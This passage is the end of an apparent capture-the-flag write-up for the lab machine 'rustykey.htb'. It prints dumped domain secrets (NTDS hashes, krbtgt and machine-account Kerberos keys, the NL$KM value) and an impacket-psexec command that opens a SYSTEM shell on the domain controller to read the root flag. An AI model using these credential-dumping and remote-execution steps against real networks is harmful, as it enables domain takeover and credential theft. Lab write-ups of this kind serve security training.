dpapi_userkey:0xb833c05f4c4824a112f04f2761df11fefc578f5c
[*] NL$KM
0000 6A 34 14 2E FC 1A C2 54 64 E3 4C F1 A7 13 5F 34 j4.....Td.L..._4
0010 79 98 16 81 90 47 A1 F0 8B FC 47 78 8C 7B 76 B6 y....G....Gx.{v.
0020 C0 E4 94 9D 1E 15 A6 A9 70 2C 13 66 D7 23 A1 0B ........p,.f.#..
0030 F1 11 79 34 C1 8F 00 15 7B DF 6F C7 C3 B4 FC FE ..y4....{.o.....
NL$KM:6a34142efc1ac25464e34cf1a7135f34799816819047a1f08bfc47788c7b76b6c0e4949d1e15a6a9702c1366d723a10bf1117934c18f00157bdf6fc7c3b4fcfe
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f4ad30fa8d8f2cfa198edd4301e5b0f3:::
rustykey.htb\rr.parker:1137:aad3b435b51404eeaad3b435b51404ee:d0c72d839ef72c7d7a2dae53f7948787:::
rustykey.htb\mm.turner:1138:aad3b435b51404eeaad3b435b51404ee:7a35add369462886f2b1f380ccec8bca:::
rustykey.htb\bb.morgan:1139:aad3b435b51404eeaad3b435b51404ee:44c72edbf1d64dc2ec4d6d8bc24160fc:::
rustykey.htb\gg.anderson:1140:aad3b435b51404eeaad3b435b51404ee:93290d859744f8d07db06d5c7d1d4e41:::
rustykey.htb\dd.ali:1143:aad3b435b51404eeaad3b435b51404ee:20e03a55dcf0947c174241c0074e972e:::
rustykey.htb\ee.reed:1145:aad3b435b51404eeaad3b435b51404ee:4dee0d4ff7717c630559e3c3c3025bbf:::
rustykey.htb\nn.marcos:1146:aad3b435b51404eeaad3b435b51404ee:33aa36a7ec02db5f2ec5917ee544c3fa:::
rustykey.htb\backupadmin:3601:aad3b435b51404eeaad3b435b51404ee:34ed39bc39d86932b1576f23e66e3451:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:b266231227e43be890e63468ab168790:::
Support-Computer1$:1103:aad3b435b51404eeaad3b435b51404ee:5014a29553f70626eb1d1d3bff3b79e2:::
Support-Computer2$:1104:aad3b435b51404eeaad3b435b51404ee:613ce90991aaeb5187ea198c629bbf32:::
Support-Computer3$:1105:aad3b435b51404eeaad3b435b51404ee:43c00d56ff9545109c016bbfcbd32bee:::
Support-Computer4$:1106:aad3b435b51404eeaad3b435b51404ee:c52b0a68cb4e24e088164e2e5cf2b98a:::
Support-Computer5$:1107:aad3b435b51404eeaad3b435b51404ee:2f312c564ecde3769f981c5d5b32790a:::
Finance-Computer1$:1118:aad3b435b51404eeaad3b435b51404ee:d6a32714fa6c8b5e3ec89d4002adb495:::
Finance-Computer2$:1119:aad3b435b51404eeaad3b435b51404ee:49c0d9e13319c1cb199bc274ee14b04c:::
Finance-Computer3$:1120:aad3b435b51404eeaad3b435b51404ee:65f129254bea10ac4be71e453f6cabca:::
Finance-Computer4$:1121:aad3b435b51404eeaad3b435b51404ee:ace1db31d6aeb97059bf3efb410df72f:::
Finance-Computer5$:1122:aad3b435b51404eeaad3b435b51404ee:b53f4333805f80406b4513e60ef83457:::
IT-Computer1$:1123:aad3b435b51404eeaad3b435b51404ee:fe60afe8d9826130f0e06cd2958a8a61:::
IT-Computer2$:1124:aad3b435b51404eeaad3b435b51404ee:73d844e19c8df244c812d4be1ebcff80:::
IT-Computer3$:1125:aad3b435b51404eeaad3b435b51404ee:b52b582f02f8c0cd6320cd5eab36d9c6:::
IT-Computer4$:1126:aad3b435b51404eeaad3b435b51404ee:763f9ea340ccd5571c1ffabf88cac686:::
IT-Computer5$:1127:aad3b435b51404eeaad3b435b51404ee:1679431d1c52638688b4f1321da14045:::
[*] Kerberos keys grabbed
Administrator:des-cbc-md5:e007705d897310cd
krbtgt:aes256-cts-hmac-sha1-96:ee3271eb3f7047d423c8eeaf1bd84f4593f1f03ac999a3d7f3490921953d542a
krbtgt:aes128-cts-hmac-sha1-96:24465a36c2086d6d85df701553a428af
krbtgt:des-cbc-md5:d6d062fd1fd32a64
rustykey.htb\rr.parker:des-cbc-md5:8c5b3b54b9688aa1
rustykey.htb\mm.turner:aes256-cts-hmac-sha1-96:707ba49ed61c6575bfe9a3fd1541fc008e8803bfb0d7b5d21122cc464f39cbb9
rustykey.htb\mm.turner:aes128-cts-hmac-sha1-96:a252d2716a0b365649eaec02f84f12c8
rustykey.htb\mm.turner:des-cbc-md5:a46ea77c13854945
rustykey.htb\bb.morgan:des-cbc-md5:d6ef5e57a2abb93b
rustykey.htb\gg.anderson:des-cbc-md5:8923850da84f2c0d
rustykey.htb\dd.ali:des-cbc-md5:613da45e3bef34a7
rustykey.htb\ee.reed:des-cbc-md5:2fc46d9b898a4a29
rustykey.htb\nn.marcos:aes256-cts-hmac-sha1-96:53ee5251000622bf04e80b5a85a429107f8284d9fe1ff5560a20ec8626310ee8
rustykey.htb\nn.marcos:aes128-cts-hmac-sha1-96:cf00314169cb7fea67cfe8e0f7925a43
rustykey.htb\nn.marcos:des-cbc-md5:e358835b1c238661
rustykey.htb\backupadmin:des-cbc-md5:625e25fe70a77358
DC$:des-cbc-md5:915d9d52a762675d
Support-Computer1$:aes256-cts-hmac-sha1-96:89a52d7918588ddbdae5c4f053bbc180a41ed703a30c15c5d85d123457eba5fc
Support-Computer1$:aes128-cts-hmac-sha1-96:3a6188fdb03682184ff0d792a81dd203
Support-Computer1$:des-cbc-md5:c7cb8a76c76dfed9
Support-Computer2$:aes256-cts-hmac-sha1-96:50f8a3378f1d75df813db9d37099361a92e2f2fb8fcc0fc231fdd2856a005828
Support-Computer2$:aes128-cts-hmac-sha1-96:5c3fa5c32427fc819b10f9b9ea4be616
Support-Computer2$:des-cbc-md5:a2a202ec91e50b6d
Support-Computer3$:aes256-cts-hmac-sha1-96:e3b7b8876ac617dc7d2ba6cd2bea8de74db7acab2897525dfd284c43c8427954
Support-Computer3$:aes128-cts-hmac-sha1-96:1ea036e381f3279293489c19cfdeb6c1
Support-Computer3$:des-cbc-md5:c13edcfe4676f86d
Support-Computer4$:aes256-cts-hmac-sha1-96:1708c6a424ed59dedc60e980c8f2ab88f6e2bb1bfe92ec6971c8cf5a40e22c1e
Support-Computer4$:aes128-cts-hmac-sha1-96:9b6d33ef93c69721631b487dc00d3047
Support-Computer4$:des-cbc-md5:3b79647680e0d57a
Support-Computer5$:aes256-cts-hmac-sha1-96:464551486df4086accee00d3d37b60de581ee7adad2a6a31e3730fad3dfaed42
Support-Computer5$:aes128-cts-hmac-sha1-96:1ec0c93b7f9df69ff470e2e05ff4ba89
Support-Computer5$:des-cbc-md5:73abb53162d51fb3
Finance-Computer1$:aes256-cts-hmac-sha1-96:a57ce3a3e4ee34bc08c8538789fa6f99f5e8fb200a5f77741c5bf61b3d899918
Finance-Computer1$:aes128-cts-hmac-sha1-96:e62b7b772aba6668af65e9d1422e6aea
Finance-Computer1$:des-cbc-md5:d9914cf29e76f8df
Finance-Computer2$:aes256-cts-hmac-sha1-96:4d45b576dbd0eab6f4cc9dc75ff72bffe7fae7a2f9dc50b5418e71e8dc710703
Finance-Computer2$:aes128-cts-hmac-sha1-96:3fd0dd200120ca90b43af4ab4e344a78
Finance-Computer2$:des-cbc-md5:23ef512fb3a8d37c
Finance-Computer3$:aes256-cts-hmac-sha1-96:1b2280d711765eb64bdb5ab1f6b7a3134bc334a3661b3335f78dd590dee18b0d
Finance-Computer3$:aes128-cts-hmac-sha1-96:a25859c88f388ae7134b54ead8df7466
Finance-Computer3$:des-cbc-md5:2a688a43ab40ecba
Finance-Computer4$:aes256-cts-hmac-sha1-96:291adb0905f3e242748edd1c0ecaab34ca54675594b29356b90da62cf417496f
Finance-Computer4$:aes128-cts-hmac-sha1-96:81fed1f0eeada2f995ce05bbf7f8f951
Finance-Computer4$:des-cbc-md5:6b7532c83bc84c49
Finance-Computer5$:aes256-cts-hmac-sha1-96:6171c0240ae0ce313ecbd8ba946860c67903b12b77953e0ee38005744507e3de
Finance-Computer5$:aes128-cts-hmac-sha1-96:8e6aa26b24cdda2d7b5474b9a3dc94dc
Finance-Computer5$:des-cbc-md5:92a72f7f865bb6cd
IT-Computer1$:aes256-cts-hmac-sha1-96:61028ace6c840a6394517382823d6485583723f9c1f98097727ad3549d833b1e
IT-Computer1$:aes128-cts-hmac-sha1-96:7d1a98937cb221fee8fcf22f1a16b676
IT-Computer1$:des-cbc-md5:019d29370ece8002
IT-Computer2$:aes256-cts-hmac-sha1-96:e9472fb1cf77df86327e5775223cf3d152e97eebd569669a6b22280316cf86fa
IT-Computer2$:aes128-cts-hmac-sha1-96:a80fba15d78f66477f0591410a4ffda7
IT-Computer2$:des-cbc-md5:622f2ae961abe932
IT-Computer3$:aes256-cts-hmac-sha1-96:7871b89896813d9e4a732a35706fe44f26650c3da47e8db4f18b21cfbb7fbecb
IT-Computer3$:aes128-cts-hmac-sha1-96:0e14a9e6fd52ab14e36703c1a4c542e3
IT-Computer3$:des-cbc-md5:f7025180cd23e5f1
IT-Computer4$:aes256-cts-hmac-sha1-96:68f2e30ca6b60ec1ab75fab763087b8772485ee19a59996a27af41a498c57bbc
IT-Computer4$:aes128-cts-hmac-sha1-96:181ffb2653f2dc5974f2de924f0ac24a
IT-Computer4$:des-cbc-md5:bf58cb437340cd3d
IT-Computer5$:aes256-cts-hmac-sha1-96:417a87cdc95cb77997de6cdf07d8c9340626c7f1fbd6efabed86607e4cfd21b8
IT-Computer5$:aes128-cts-hmac-sha1-96:873fd89f24e79dcd0affe6f63c51ec9a
IT-Computer5$:des-cbc-md5:ad5eec6bcd4f86f7
[*] Cleaning up...
[*] Stopping service RemoteRegistry
We even have the cleartext creds for admin.
PSExec (Shell)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
impacket-psexec -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.rustykey.htb.....
[*] Found writable share ADMIN$
[*] Uploading file grCpXwjX.exe
[*] Opening SVCManager on dc.rustykey.htb.....
[*] Creating service dnrA on dc.rustykey.htb.....
[*] Starting service dnrA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
This post is licensed under CC BY 4.0 by the author.